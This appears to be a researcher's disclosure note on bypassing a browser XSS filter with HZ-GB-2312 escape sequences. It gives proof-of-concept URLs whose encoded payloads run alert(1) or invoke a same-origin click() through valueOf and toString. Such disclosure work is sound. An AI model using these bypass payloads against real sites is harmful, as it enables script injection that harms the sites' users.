To use this vector, we need the target page's Content-Type header which charset is not specified in.
Bypass 1
PoC:http://vulnerabledoma.in/char_test?body=%3Cx~%0Aonmouseover=alert(1)%3EAAA
No user interaction version:
http://vulnerabledoma.in/char_test?body=%3Cx~%0Aonfocus=alert%281%29%20id=a%20tabindex=0%3E#a
"~[0x0A]" is HZ-GB-2312 escape sequence. It seems that XSS filter makes an exception for "~[0x0A]" .
If Content-Type header has proper charset, it does not work:
http://vulnerabledoma.in/char_test?charset=utf-8&body=%3Cx~%0Aonmouseover=alert(1)%3EAAA
On the other hand, if meta tag has proper charset, it still works:
http://vulnerabledoma.in/xssable?q=%3Cx~%0Aonfocus=alert%281%29%20id=a%20tabindex=0%3E#a
Bypass 2
"~{" is also HZ-GB-2312 escape sequence. We can use this for bypass. We can call same-origin method in string literal.PoC is here:
http://l0.cm/xssfilter_hz_poc.html
Please click the "go" button. You can confirm element.click method is called.
"click" is called from the following code:
http://vulnerabledoma.in/xss_js?q=%22%3B~{valueOf:opener.button.click}//
<script>var q="";~{valueOf:opener.button.click}//"</script>
Also, you can use "toString":
http://vulnerabledoma.in/xss_js?q=%22%3B~{toString:opener.button.click}//
<script>var q="";~{toString:opener.button.click}//"</script>
That's all. See you next month!
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